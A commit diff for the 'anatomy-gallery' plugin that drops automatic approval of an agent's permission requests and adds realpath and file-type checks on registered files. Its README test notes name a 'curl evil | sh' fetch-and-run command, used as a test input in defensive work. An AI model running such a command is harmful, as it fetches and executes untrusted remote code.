Skip to content

Commit 9250931

Browse files
committed
anatomy-gallery 1.1.0: leave every permission request to the user, check registered files
1 parent 39cc332 commit 9250931

7 files changed

Lines changed: 97 additions & 65 deletions

File tree

‎plugins/zch0227/anatomy-gallery/.minimax-plugin/plugin.json‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
"schemaVersion": 1,
33
"name": "anatomy-gallery",
44
"displayName": "Anatomy 画廊",
5-
"version": "1.0.0",
5+
"version": "1.1.0",
66
"description": "集中展示 anatomy 技能做出的交互式等距图解,每张图解关联一个 MCode 对话,可以在画廊里新建、修改并查看历史版本。自带 anatomy 技能,不用另外安装。",
77
"author": "zch0227",
88
"icon": "icon.png",

‎plugins/zch0227/anatomy-gallery/README.md‎

Lines changed: 26 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,19 @@ Chromium for its screenshot checks.
6262
- The bundled skill: checked by resolving the skill with `HOME` pointed at an empty directory (the
6363
gallery picked the bundled copy for prompts and examples) and by building
6464
`examples/dial-indicator` from a copy of the bundled skill.
65+
- Permission cards and cancelling (1.1.0), exercised in the page against a mock Agent with the same
66+
`run` / `reply` contract: two requests in one run (the second `curl evil | sh`) each waited for a
67+
click, with no reply sent until then (the second waited five minutes); Allow sent `allowOnce`,
68+
Deny sent `deny`; a request already settled on MCode's card in the side panel is removed with a
69+
notice when its gallery card is clicked, and logged as handled there; the old `/auto-allow` route
70+
returns 404 and an `autoAllow` field in the request body has no effect; cancelling a run that
71+
waits on a request aborts it and clears the card.
72+
- Registration checks (1.1.0), exercised against `addVersion`: real PNG, JPEG and WebP screenshots
73+
and a symlink to an anatomy page are accepted; a `.png` symlinked to a text file, a `.png` whose
74+
content is text, an `.html` symlinked to `/etc/hosts`, a directory, a missing file and a relative
75+
path are rejected, and nothing from the rejected files reaches `dataDir`.
76+
- Not yet verified: permission cards in a real Agent run, answering an Agent question in the side
77+
panel, the pop-out window, and creating a first figure on a machine without anatomy installed.
6578

6679
## Data & access
6780

@@ -79,9 +92,14 @@ Chromium for its screenshot checks.
7992
package. It reads the skill's examples and preview images to show them, and passes the skill
8093
directory to the Agent.
8194
- Pages registered by the Agent or imported by you: the absolute HTML paths (and screenshots)
82-
given to `register_figure_version` or typed into Import, plus a sibling `-light.html`. Pages must
83-
carry anatomy's `class="iso"` marker. The gallery copies them into `dataDir` and never writes to
84-
the originals.
95+
given to `register_figure_version` or typed into Import, plus a sibling `-light.html`. Any
96+
folder is accepted, because the Agent decides where it saves screenshots and the skill's own
97+
example screenshots live in another folder. Each path is resolved with `realpath` first and all
98+
checks apply to the real file: it must be a regular file; a page must have an `.html`/`.htm`
99+
name, be at most 30 MB and carry anatomy's `class="iso"` marker; a screenshot must have a PNG,
100+
JPEG or WebP name, be at most 15 MB, and its file header must be a real PNG, JPEG or WebP (the
101+
stored type comes from the header). The gallery copies accepted files into `dataDir` and never
102+
writes to the originals.
85103
- **Files written outside `dataDir`**: none by the gallery itself. The Agent writes the figure's
86104
source in the working directory the Host assigns to the gallery's sessions (see Agent turns).
87105
- **Agent turns** (`agentAccess: ["session.run"]`): each figure gets one hidden session created with
@@ -93,9 +111,11 @@ Chromium for its screenshot checks.
93111
what `register_figure_version` receives, after validating it. Agent output language follows the
94112
language of your request.
95113
- **Permissions**: every permission request in a gallery run is shown as a card with Allow, Deny
96-
and "本次运行都允许" (allow for this run). Nothing is allowed unless you click. If you choose
97-
"allow for this run", later requests in the same run are answered with `allowOnce` on your behalf
98-
until the run ends; the next run asks again. Agent questions are answered in the chat side panel.
114+
and "去对话里批准" (approve in the conversation). The gallery never answers a request on its own:
115+
Allow and Deny relay your click for that one request, and nothing happens until you click.
116+
"去对话里批准" opens the figure's session in the chat side panel, where MCode's own permission
117+
card and permission-mode switch decide; options such as allowing everything for that
118+
conversation are MCode's, not the gallery's. Agent questions are answered in the chat side panel.
99119
- **MCP**: the package declares an MCP server served by the Mini App itself at
100120
`/mcp/anatomy-gallery`, with `register_figure_version` and `list_figures`. Agents can call them
101121
while the gallery runs, including from ordinary chats.

‎plugins/zch0227/anatomy-gallery/README.zh-CN.md‎

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,16 +33,19 @@
3333
- 用真实 Agent 运行验证过:从画廊新建作品的完整流程(两件作品,其中一件的运行记录和会话都确认实际使用了所选的 MiniMax-M3.1-Flash-Preview)、一次登记出第二版的修改运行、通过 `register_figure_version` 登记、“过程”标签、模型显示名。
3434
- 在真实运行时验证过(不涉及 Agent 运行):展区(新建、改名、排序、移动作品、移除展区、内置展区不能移除)、导入、切换版本、明暗版本、浅色和深色主题、侧栏窄宽度布局。控制台和网络请求没有报错。
3535
- 自带技能:把 `HOME` 指向空目录后解析技能,画廊在指令和示例里都选用了自带副本;把自带副本复制出来能构建 `examples/dial-indicator`。
36+
- 权限卡片和取消运行(1.1.0):在页面上用一个模拟 Agent(`run` / `reply` 契约与宿主相同)验证。同一次运行里的两个请求(第二个是 `curl evil | sh`)都等到点击才回复,之前没有发出任何回复,第二个等了五分钟;点“允许”发出 `allowOnce`,点“拒绝”发出 `deny`;已在侧栏 MCode 卡片上处理过的请求,点画廊卡片时会提示并移除,过程记录里记为“已在对话里处理”;旧的 `/auto-allow` 接口返回 404,请求体里带 `autoAllow` 不起作用;Agent 停在权限请求上时取消运行,运行会终止,卡片随之清除。
37+
- 登记文件校验(1.1.0):直接调用 `addVersion` 验证。真实的 PNG、JPEG、WebP 截图,以及指向 anatomy 页面的符号链接都被接受;链接到文本文件的 `.png`、内容是文本的 `.png`、链接到 `/etc/hosts` 的 `.html`、目录、不存在的文件和相对路径都被拒绝,被拒文件的内容不会进入 `dataDir`。
38+
- 尚未验证:真实 Agent 运行中的权限卡片、在侧栏回答 Agent 的提问、弹出窗口、在没装 anatomy 的机器上首次新建作品。
3639

3740
## 数据与访问
3841

3942
- **状态**:画廊存的所有数据都在宿主提供的 `context.dataDir` 下:`gallery.json`(作品、版本、展区、运行记录)、`figures/<id>/v<n>/`(每个版本深浅两版页面和截图的副本)、`runs/<runId>.jsonl`(过程记录,每次运行最多 3000 条)。在画廊里撤下作品会删除这些副本和记录,不动 Agent 的源文件夹和关联对话。页面的 `localStorage` 只存主题选择。
4043
- **读取 `dataDir` 以外的文件**:
4144
- anatomy 技能。画廊按顺序在用户主目录下的固定位置查找独立安装的技能:`.minimax/skills/anatomy`、`.agents/skills/anatomy`、`.claude/skills/anatomy`、`.codex/skills/anatomy`、`.config/opencode/skills/anatomy`。这依赖未公开约定的目录布局。都没有 `SKILL.md` 时,用包里自带的副本。画廊会读取技能的示例和预览图用于展示,并把技能目录告诉 Agent。
42-
- Agent 登记或你导入的页面:传给 `register_figure_version` 或填进“导入”的 HTML 绝对路径(以及截图),外加同目录的 `-light.html`。页面必须带有 anatomy 的 `class="iso"` 标记。画廊把它们复制进 `dataDir`,不写原文件。
45+
- Agent 登记或你导入的页面:传给 `register_figure_version` 或填进“导入”的 HTML 绝对路径(以及截图),外加同目录的 `-light.html`。不限制所在文件夹,因为截图存在哪由 Agent 决定,技能自带示例的截图也在另一个文件夹。每个路径先用 `realpath` 解析,所有检查都针对真实文件:必须是普通文件;页面必须是 `.html`/`.htm`、不超过 30 MB、带有 anatomy 的 `class="iso"` 标记;截图必须是 PNG、JPEG 或 WebP 文件名、不超过 15 MB,并且文件头确实是 PNG、JPEG 或 WebP(存储格式按文件头确定)。通过检查的文件复制进 `dataDir`,不写原文件。
4346
- **写入 `dataDir` 以外的文件**:画廊本身不写。作品源文件由 Agent 写在宿主分配给画廊会话的工作目录里(见下条)。
4447
- **Agent 运行**(`agentAccess: ["session.run"]`):每件作品用 `context.agent.create()` 创建一个隐藏会话。新建时,要求 Agent 在该工作目录的 `figures/<figureId>/` 下用 anatomy 做图,生成深浅两版页面和截图、完成校验,然后调用 `register_figure_version`。修改时,要求它只改这件作品的源文件夹(导入的作品改副本),再登记新版本。Agent 拥有正常的能力(文件、Shell、MCP)。Agent 的文字和日志只作为数据展示;画廊只根据 `register_figure_version` 收到并校验过的内容行事。Agent 的输出语言跟随你需求所用的语言。
45-
- **权限**:画廊发起的运行中,每个权限请求都以卡片展示,有“允许”“拒绝”“本次运行都允许”三个选项。你不点就不会放行。选了“本次运行都允许”后,同一次运行里后续的请求由画廊代你回复 `allowOnce`,运行结束即失效,下次运行重新询问。Agent 的提问在聊天侧栏里回答。
48+
- **权限**:画廊发起的运行中,每个权限请求都以卡片展示,有“允许”“拒绝”“去对话里批准”三个选项。画廊从不自己回复请求:“允许”“拒绝”只把你对这一个请求的点击转给宿主,你不点就一直等着。“去对话里批准”会把这件作品的对话打开到聊天侧栏,由 MCode 自己的权限卡片和权限模式开关来决定;“本对话全部允许”这类选项属于 MCode,不是画廊的功能。Agent 的提问在聊天侧栏里回答。
4649
- **MCP**:包里声明了一个由 Mini App 自己提供的 MCP 服务(`/mcp/anatomy-gallery`),有 `register_figure_version` 和 `list_figures` 两个工具。画廊运行期间,Agent 可以调用它们,普通对话里也可以。
4750
- **网络**:画廊的 Node 进程不发起任何外部请求。Agent 自己用工具时访问什么由 Agent 决定。
4851
- **进程**:画廊不启动任何进程。构建和截图校验在 Agent 的运行里进行。

‎plugins/zch0227/anatomy-gallery/miniapp/client/app.js‎

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1241,13 +1241,16 @@ function renderLive() {
12411241
);
12421242
}
12431243

1244-
/** @param {any} permission */
1244+
/**
1245+
* One waiting permission request. The gallery only relays the user's own click; batch choices such as
1246+
* "allow for this conversation" live on MCode's own card in the chat side panel.
1247+
* @param {any} permission
1248+
*/
12451249
function askCard(permission) {
12461250
const figureId = view.id;
1247-
/** @param {'allowOnce' | 'deny'} decision @param {boolean} [always] */
1248-
const decide = async (decision, always = false) => {
1251+
/** @param {'allowOnce' | 'deny'} decision */
1252+
const decide = async (decision) => {
12491253
try {
1250-
if (always) await api(`/api/figures/${figureId}/auto-allow`, { method: 'POST', body: { value: true } });
12511254
await api(`/api/figures/${figureId}/permissions/${encodeURIComponent(permission.requestId)}`, { method: 'POST', body: { decision } });
12521255
} catch (error) {
12531256
toast(message(error));
@@ -1258,7 +1261,7 @@ function askCard(permission) {
12581261
permission.reason ? h('p', { class: 'small muted' }, permission.reason) : null,
12591262
permission.toolInput ? h('pre', { class: 'mono' }, permission.toolInput) : null,
12601263
h('div', { class: 'row' },
1261-
h('button', { type: 'button', class: 'btn ghost sm', onclick: () => void decide('allowOnce', true) }, '本次运行都允许'),
1264+
h('button', { type: 'button', class: 'btn ghost sm', title: '在聊天侧栏打开这个对话,用 MCode 的权限卡片批准,可选“全部仅本对话”等', onclick: () => void openConversation() }, '去对话里批准'),
12621265
h('button', { type: 'button', class: 'btn secondary sm', onclick: () => void decide('deny') }, '拒绝'),
12631266
h('button', { type: 'button', class: 'btn primary sm', onclick: () => void decide('allowOnce') }, '允许'),
12641267
),
@@ -1384,9 +1387,10 @@ function drawProcess() {
13841387
items.push(h('li', { class: 'tl-item tl-ask' },
13851388
h('div', { class: 'tl-meta' }, h('span', {}, `请求使用 ${e.toolName}`), h('span', {}, at)),
13861389
e.reason ? h('p', { class: 'small muted' }, e.reason) : null,
1390+
// Only logs written before 1.1.0 carry `auto`; the gallery no longer answers requests itself.
13871391
e.auto ? h('p', { class: 'small muted' }, '已按“本次运行都允许”自动放行') : null));
13881392
} else if (e.type === 'decision') {
1389-
items.push(h('li', { class: 'tl-item tl-note' }, h('div', { class: 'tl-meta' }, h('span', {}, `你${e.decision === 'deny' ? '拒绝' : '允许'}了 ${e.toolName}`), h('span', {}, at))));
1393+
items.push(h('li', { class: 'tl-item tl-note' }, h('div', { class: 'tl-meta' }, h('span', {}, e.decision === 'elsewhere' ? `${e.toolName} 已在对话里处理` : `你${e.decision === 'deny' ? '拒绝' : '允许'}了 ${e.toolName}`), h('span', {}, at))));
13901394
} else if (e.type === 'question') {
13911395
items.push(h('li', { class: 'tl-item tl-ask' },
13921396
h('div', { class: 'tl-meta' }, h('span', {}, `Agent 提问${e.title ? `:${e.title}` : ''}`), h('span', {}, at)),

‎plugins/zch0227/anatomy-gallery/miniapp/node/runs.mjs‎

Lines changed: 12 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -167,7 +167,6 @@ export function createRunManager({ agent, store, publish, logger, logDir, plugin
167167
startedAt: live.startedAt,
168168
lastTool: live.lastTool,
169169
textTail: live.textTail,
170-
autoAllow: live.autoAllow,
171170
model: live.model ?? null,
172171
permissions: [...live.permissions.values()].map((item) => ({
173172
requestId: item.requestId,
@@ -195,7 +194,7 @@ export function createRunManager({ agent, store, publish, logger, logDir, plugin
195194

196195
/**
197196
* @param {string} figureId
198-
* @param {{ kind: 'create' | 'edit', instruction?: string, example?: string | null, autoAllow?: boolean,
197+
* @param {{ kind: 'create' | 'edit', instruction?: string, example?: string | null,
199198
* model?: import('./miniapp-api.js').MiniAppAgentModelSelection | null }} input
200199
*/
201200
async function start(figureId, input) {
@@ -214,7 +213,6 @@ export function createRunManager({ agent, store, publish, logger, logDir, plugin
214213
startedAt: Date.now(),
215214
sessionId: figure.sessionId,
216215
controller: new AbortController(),
217-
autoAllow: !!input.autoAllow,
218216
permissions: new Map(),
219217
lastTool: '',
220218
textTail: '',
@@ -351,15 +349,14 @@ export function createRunManager({ agent, store, publish, logger, logDir, plugin
351349
}
352350
}
353351

354-
/** @param {any} live @param {Extract<MiniAppAgentRunEvent, { type: 'permission.requested' }>} event */
352+
/**
353+
* Every request waits for the user: a click on the gallery card, or the Host's own card in the chat
354+
* side panel (where MCode offers its own "allow for this conversation"). The gallery never answers
355+
* on the user's behalf.
356+
* @param {any} live @param {Extract<MiniAppAgentRunEvent, { type: 'permission.requested' }>} event
357+
*/
355358
function onPermission(live, event) {
356-
log(live, { type: 'permission', toolName: cleanText(event.toolName, 120), reason: cleanText(event.reason, 400), auto: !!live.autoAllow });
357-
if (live.autoAllow) {
358-
void agent
359-
?.reply({ sessionId: event.sessionId, requestId: event.requestId, decision: 'allowOnce' })
360-
.catch(() => {});
361-
return;
362-
}
359+
log(live, { type: 'permission', toolName: cleanText(event.toolName, 120), reason: cleanText(event.reason, 400) });
363360
live.permissions.set(event.requestId, {
364361
requestId: event.requestId,
365362
sessionId: event.sessionId,
@@ -375,22 +372,17 @@ export function createRunManager({ agent, store, publish, logger, logDir, plugin
375372
const live = active.get(figureId);
376373
const request = live?.permissions.get(requestId);
377374
if (!live || !request) throw new GalleryError('not_found', '这个确认请求已经结束');
375+
let settledElsewhere = false;
378376
try {
379377
await /** @type {MiniAppAgentClient} */ (agent).reply({ sessionId: request.sessionId, requestId, decision });
380378
} catch (error) {
381379
if (errorCode(error) !== 'REQUEST_NOT_FOUND') throw error;
380+
settledElsewhere = true; // decided on MCode's card in the side panel, or the run moved on
382381
}
383382
live.permissions.delete(requestId);
384-
log(live, { type: 'decision', toolName: request.toolName, decision });
385-
emitProgress(live);
386-
}
387-
388-
/** @param {string} figureId @param {boolean} value */
389-
function setAutoAllow(figureId, value) {
390-
const live = active.get(figureId);
391-
if (!live) throw new GalleryError('not_found', '当前没有进行中的运行');
392-
live.autoAllow = value;
383+
log(live, { type: 'decision', toolName: request.toolName, decision: settledElsewhere ? 'elsewhere' : decision });
393384
emitProgress(live);
385+
if (settledElsewhere) throw new GalleryError('not_found', '这个请求已经在对话里处理过了');
394386
}
395387

396388
/** @param {string} figureId */
@@ -404,7 +396,6 @@ export function createRunManager({ agent, store, publish, logger, logDir, plugin
404396
start,
405397
reply,
406398
cancel,
407-
setAutoAllow,
408399
/** @param {string} figureId */
409400
live: (figureId) => {
410401
const run = active.get(figureId);

‎plugins/zch0227/anatomy-gallery/miniapp/node/server.mjs‎

Lines changed: 3 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ export async function start(context) {
6060

6161
const mcp = createMcpEndpoint({
6262
name: 'anatomy-gallery',
63-
version: '1.0.0',
63+
version: '1.1.0',
6464
instructions:
6565
'Anatomy gallery: after building an anatomy figure, register each viewable version with register_figure_version. ' +
6666
'Use list_figures to find the figureId of an existing figure before registering a new version of it.',
@@ -209,7 +209,7 @@ export async function start(context) {
209209
categoryId: body.categoryId,
210210
});
211211
publish({ type: 'changed', figureId: figure.id });
212-
await runs.start(figure.id, { kind: 'create', example: example?.name ?? null, autoAllow: body.autoAllow === true, model: selectionFrom(body.model) });
212+
await runs.start(figure.id, { kind: 'create', example: example?.name ?? null, model: selectionFrom(body.model) });
213213
return json(response, 201, { figureId: figure.id });
214214
}
215215
if (method === 'POST' && path === '/api/import') {
@@ -269,7 +269,7 @@ export async function start(context) {
269269
if (method === 'POST' && rest === 'runs') {
270270
const body = await readJson(request);
271271
const kind = body.kind === 'create' ? 'create' : 'edit';
272-
await runs.start(id, { kind, instruction: body.instruction, autoAllow: body.autoAllow === true, model: selectionFrom(body.model) });
272+
await runs.start(id, { kind, instruction: body.instruction, model: selectionFrom(body.model) });
273273
return json(response, 202, { ok: true });
274274
}
275275
const logMatch = /^runs\/([0-9a-f-]{36})\/log$/.exec(rest);
@@ -289,11 +289,6 @@ export async function start(context) {
289289
runs.cancel(id);
290290
return json(response, 202, { ok: true });
291291
}
292-
if (method === 'POST' && rest === 'auto-allow') {
293-
const body = await readJson(request);
294-
runs.setAutoAllow(id, body.value === true);
295-
return json(response, 200, { ok: true });
296-
}
297292
const permissionMatch = /^permissions\/([A-Za-z0-9_.:-]{1,200})$/.exec(rest);
298293
if (method === 'POST' && permissionMatch) {
299294
const body = await readJson(request);

0 commit comments

Comments
 (0)